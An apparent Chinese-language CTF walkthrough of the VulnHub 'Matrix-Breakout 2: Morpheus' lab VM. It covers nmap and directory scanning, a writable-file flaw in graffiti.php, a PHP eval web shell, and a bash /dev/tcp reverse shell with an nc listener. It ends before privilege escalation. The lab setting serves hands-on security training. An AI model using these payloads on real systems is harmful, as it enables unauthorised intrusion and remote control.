1.下載靶機
靶機下載地址:https://download.vulnhub.com/matrix-breakout/matrix-breakout-2-morpheus.ova
下載后使用VM打開,后續選擇安裝地址開啟就算是下載好了
2.主機發現
查看網絡適配器模式(NET模式),找到NET模式的網段(192.168.79.0),使用我們kali的nmap進行掃描。掃描出來的結果可能會有干擾我們要找到我們自己的靶機地址。192.168.79.141
nmap -O 192.168.79.1/24
3.端口掃描
知道了我們的靶機地址,查看它的開放端口雖然上一步給出了我們一部分的端口但是為了防止掃描的不全我們進行全端口掃描,以防遺漏。在此博主使用的御劍工具。
以下是我們掃描得出的端口,我們挨個訪問查看一下信息。
4.目錄掃描
上面訪問的端口沒有明確有效信息,嘗試看一下robots敏感文件(沒有信息),接下來就要使用工具kali的dirb或者7k(掃不全)進行掃描了,除了我們已經訪問過的index和robots還有一個JavaScript以及其子目錄沒訪問,我們可以看看。
dirb http://192.168.79.141
訪問所有已知目錄并沒有任何有用信息,換個工具字典再進行掃描,可以發現多了一個graffiti.php文件目錄,我們去訪問一下這個(一個留言板)。
gobuster dir -u http://192.168.79.141/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
5.查找攻擊點
我們提交數據時會在上面顯示,抓包看看里面什么個邏輯。
我們抓包可以看到我們上傳的數據會傳到一個叫做graffiti.txt的文件里面。因此我們嘗試傳入數據是否可控,更改兩個值看看有沒有效果。
將file后的文件改為一個別的文件名1.php往里面傳入數字看看能不能傳進去。放行后我們去訪問1.php。可以發現是可控的參數,接下來我們構造一句話木馬getshell。
抓包將下述一句話木馬寫到php文件中。然后訪問shell.php使用工具連接,就可以得到www-data的權限了。然后進行提權操作。
<?php @eval($_POST[cmd]);?> //cmd為連接密碼
6.反彈shell
我們是有寫文件的權限的,在網站路徑下創建一個文件寫入反彈shell的代碼保存為999.sh,然后監聽執行
bash -i >& /dev/tcp/攻擊機IP/攻擊機端口 0>&1
nc -lvvp 端口
bash 999.sh //靶機終端執行